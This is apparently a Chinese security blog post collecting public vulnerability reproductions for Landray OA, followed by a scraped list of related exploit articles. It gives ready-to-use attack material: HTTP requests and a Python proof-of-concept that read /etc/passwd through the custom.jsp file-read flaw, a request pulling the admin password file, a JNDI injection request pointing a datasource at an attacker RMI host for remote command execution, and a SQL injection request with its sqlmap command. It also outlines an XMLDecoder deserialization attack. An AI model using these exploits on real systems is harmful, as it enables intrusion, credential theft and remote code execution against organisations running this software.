0x00 蓝凌OA custom.jsp 任意文件读取漏洞

1、app=”Landray-OA系统”

2、漏洞复现

出现漏洞的文件为 custom.jsp

<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%JSONObject vara =
JSONObject.fromObject(request.getParameter("var"));JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'><c:param name="var" value="${ param['var'] }"></c:param>
</c:import>

请求包为

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

var={“body”:{“file”:”file:///etc/passwd”}}

3、漏洞POC:

#!/usr/bin/python3
#-*- coding:utf-8 -*-import base64
import requests
import random
import re
import json
import sysdef title():print('+------------------------------------------')print('+  \033[34mVersion: 蓝凌OA 任意文件读取                                          \033[0m')print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')print('+------------------------------------------')def POC_1(target_url):vuln_url = target_url + "/sys/ui/extend/varkind/custom.jsp"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}data = 'var={"body":{"file":"file:///etc/passwd"}}'try:response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)print("\033[36m[o] 正在请求 {}/sys/ui/extend/varkind/custom.jsp \033[0m".format(target_url))if "root:" in response.text and response.status_code == 200:print("\033[36m[o] 成功读取 /etc/passwd \n[o] 响应为:{} \033[0m".format(response.text))except Exception as e:print("\033[31m[x] 请求失败:{} \033[0m".format(e))sys.exit(0)#
if __name__ == '__main__':title()target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))POC_1(target_url)

4、使用xescan直接进行漏洞解码,调回明文密码:

0x01 蓝凌OA SSRF+JNDI远程命令执行

漏洞复现:

利用 蓝凌OA custom.jsp 任意文件读取漏洞 读取配置文件

/WEB-INF/KmssConfig/admin.properties
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

同时进行密码的读取,其实个0x00的漏洞是一样的,但是JNDI的远程命令执行,需要配合后台密码进行执行,没有密码,但是有ssrf的读取是没有用处的,因为web系统可能更改了默认安装的路径,导致读取不到

进入后台后,使用工具执行命令

https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

运行工具监听端口 ping dnslog测试 命令执行 (蓝凌OA 默认使用的是 JDK 1.7)

POST /admin.do HTTP/1.1
Host:
Cookie: JSESSIONID=90EA764774514A566C480E9726BB3D3F; Hm_lvt_9838edd365000f753ebfdc508bf832d3=1620456866; Hm_lpvt_9838edd365000f753ebfdc508bf832d3=1620459967
Content-Length: 70
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Origin:
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9method=testDbConn&datasource=rmi://xxx.xxx.xxx.xxx:1099/cbdsdg

0x02 蓝凌OA EKP 后台SQL注入漏洞 CNVD-2021-01363

存在SQL注入的 Url为,这里拿官方的演示站点演示漏洞过程

https://xxx.xxx.xxx.xxx/km/imeeting/km_imeeting_res/kmImeetingRes.do?contentType=json&method=listUse&orderby=1&ordertype=down&s_ajax=true

其中存在SQL注入的参数为 ordeby , 数据包如下

GET /km/imeeting/km_imeeting_res/kmImeetingRes.do?contentType=json&method=listUse&orderby=1&ordertype=down&s_ajax=true HTTP/1.1
Host: xxx.xxx.xxx.xxx
Connection: close
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: UM_distinctid=1785f7392888e1-02ece8c7e9a996-5771031-1fa400-1785f73928943d; landray_danyuan=null; landray_guanjianci=null; landray_sorce=baidupinzhuanwy; landray_jihua=null; JSESSIONID=232B6933CF33B5422F9D2649739D48FE; Hm_lvt_223eecc93377a093d4111a2d7ea28f51=1616509114,1616566341,1616566350; Hm_lpvt_223eecc93377a093d4111a2d7ea28f51=1616566350; Hm_lvt_d14cb406f01f8101884d7cf81981d8bb=1616509114,1616566341,1616566350; Hm_lpvt_d14cb406f01f8101884d7cf81981d8bb=1616566507; Hm_lvt_95f4f43e7aa1fe68a51c44ae4eed925d=1616509872,1616509969,1616509973,1616566507; Hm_lpvt_95f4f43e7aa1fe68a51c44ae4eed925d=1616566507; Hm_lvt_22f1fea4412727d23e6a998a4b46f2ab=1616509872,1616509969,1616509973,1616566507; Hm_lpvt_22f1fea4412727d23e6a998a4b46f2ab=1616566507; fd_name=%E5%95%8A%E7%9A%84%E5%93%88; fd_id=1785f817dd0f5a4beaa482646cb9a2d8; nc_phone=15572002383; j_lang=zh-CN; LtpaToken=AAECAzYwNUFEOEZBNjA1QjgxQkFsdW9stJ5e1pcW1hgQi3cOa0iEyAhdZZs=; Hm_lvt_95cec2a2f107db33ad817ed8e4a3073b=1616510026,1616566523; Hm_lpvt_95cec2a2f107db33ad817ed8e4a3073b=1616566523; add_customer=0

保存为文件,使用 Sqlmap 跑一下注入

sqlmap -r sql.txt -p orderby --dbs

0x03 蓝凌OA 任意文件写入漏洞

/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&FdParameters=[shellcode]

漏洞在/sys/search/sys_search_main/sysSearchMain.do method 为 editrParam。

参数为 FdParameters,在 com.landray.kmss.sys.search.jar 中的 com.landray.kmss.sys.search.actions.SysSearchMainAction 类。

method 为 editrParam。 对 fdParemNames 的内容进行了判空。

如果不为空,进入 SysSearchDictUtil.getParamConditionEntry 方法。

也是对 fdParemNames 进行了一次判空。

然后传入 ObjectXML.objectXMLDecoderByString 方法。

将传入进来的 string 字符进行替换。

将其载入字节数组缓冲区,在传递给 objectXmlDecoder。

在 objectXmlDecoder 中。就更明显了。典型的 xmlDecoder 反序列化。

整体流程只对 FdParameters 的内容进行了一些内容替换。 导致 xmlDecoder 反序列化漏洞。

利用方式: Xmldecoder payload 生成

https://github.com/mhaskar/XMLDecoder-payload-gene…

转载请注明:Adminxe's Blog » 【漏洞复现】蓝凌OA近期公开几个漏洞汇总

【漏洞复现】蓝凌OA近期公开几个漏洞汇总相关推荐

  1. 【漏洞复现】通达OA v11.7 在线任意用户登录漏洞

    0x00 前言 通达OA V11.7版本存在这任意用户登录漏洞,该漏洞需要管理员在线才可以登录系统,另外一个方面就是编译在线的uid值进行判断. 具体fofa语法放在下面: app="TDX ...

  2. 漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞

    漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞 漏洞描述 泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改 ...

  3. 蓝凌ekp开发_蓝凌OA系统,蓝凌EKP,蓝凌KK__房地产案例应用__恒大集团

    作为中国地产行业标杆,恒大集团拥有员工39000多人,在全国33个城市设立了分公司,在全国122个主要城市拥有大型项目229个.如何实现全集团的协同沟通?如何结合业务规范.统一流程?如何实现专业知识. ...

  4. 【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)

    0x01 Microsoft Office Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装.常用组件有 Word.Excel.PowerPoint等. 0x0 ...

  5. 【漏洞复现】phpStudy 小皮 Windows面板 RCE漏洞

    文章目录 前言 一.漏洞描述 二.漏洞复现 前言 本篇文章仅用于漏洞复现研究和学习,切勿从事非法攻击行为,切记! 一.漏洞描述 Phpstudy小皮面板存在RCE漏洞,通过分析和复现方式发现其实本质上 ...

  6. 【漏洞复现】XMind2020及2021beta版本存在xss漏洞导致任意代码执行

    简介 XMind是一种功能齐全的思维导图和头脑风暴工具,旨在产生想法,激发创造力,并在工作和生活中带来效率.数以百万计的用户们喜欢它 漏洞(xss) XMind2020及2021beta版本存在xss ...

  7. CNVD-2021-49104漏洞复现(泛微E-Office文件上传漏洞)

    1.漏洞检测脚本 自己写的简单检测脚本,感兴趣可以看看 CSDN 2.漏洞成因 该漏洞是由于 e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行. ...

  8. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

    年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞 --from Lyricbao 0x00 复现环境 phpstudy wordpress 4.4版本 Q ...

  9. commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)

    前言 最近FastJson更新了黑名单,升级到了1.2.61版本,我尝试bypass其黑名单,在AutType打开的情况下成功绕过了黑名单防护.(目前暂未修复,官方即将更新) 复现环境准备 1.JDK ...

  10. 漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)

    文章目录 一.Apache Unomi简介 二.CVE-2020-11975漏洞 2.1.CVE-2020-11975漏洞代码 2.2.CVE-2020-11975漏洞修复代码 三.CVE-2020- ...

最新文章

  1. c#自动登录网页,浏览页面
  2. Linux虚拟文件系统简介
  3. 蓝牙模块引起电路干扰
  4. 2020年春季信号与系统试卷批改
  5. oracle数据库怎么导出dat文件_oracle导入导出dmp文件(详细步骤)
  6. php mysql_fetch_array mysql_fetch__php提示Warning:mysql_fetch_array() expects的解决方法
  7. is_numeric 检测变量是否为数字或数字字符串
  8. mybatis原始mapper开发未集成springMVC
  9. MSN无法登陆错误汇总
  10. win10上运行ROS时报:qt.qpa.plugin:Cound not find the Qt platform plugin “windows“
  11. 完美解决VMware安装后没有VMnet1和VMnet8的问题
  12. 成功长青——不读此书,愧为人徒,不读此书,愧为人师
  13. PKIX path validation failed: java.security.cert.CertPathValidatorException: validity check failed
  14. IDEA启动显示 找不到应用程序
  15. kail详细安装教程
  16. 计算机网络cidr是啥,计算机网络(4.11)网络层- 无分类编址CIDR
  17. python 离群值_数据预处理初学者宝典:360° 掌握离群值识别
  18. php实现cookie自动登录,PHP使用Cookie实现自动登陆
  19. 推荐一个下载神器(官网资料下载必备)
  20. 100个python算法超详细讲解:分糖果

热门文章

  1. Windows系统主机加固
  2. 【智能制造】“OEE智能盒子”-智能制造时代企业制造能力的评测与改进工具
  3. ESP32 学习笔记(七)I2S - Inter—IC Sound
  4. c语言程序细菌分组实验报告,案例:细菌实验分组 - nimozp的个人空间 - OSCHINA - 中文开源技术交流社区...
  5. SpingCloud获取当前服务ip地址
  6. Java poi读取Excel表格中公式的计算值
  7. keil5中输入中文并且美化字体
  8. 基于OBD系统的量产车评估测试(PVE),你知多少?
  9. 满足国六标准通用型故障诊断仪:Q-OBD
  10. 阿里云安全防护是如何做到的?有怎样的安全生态圈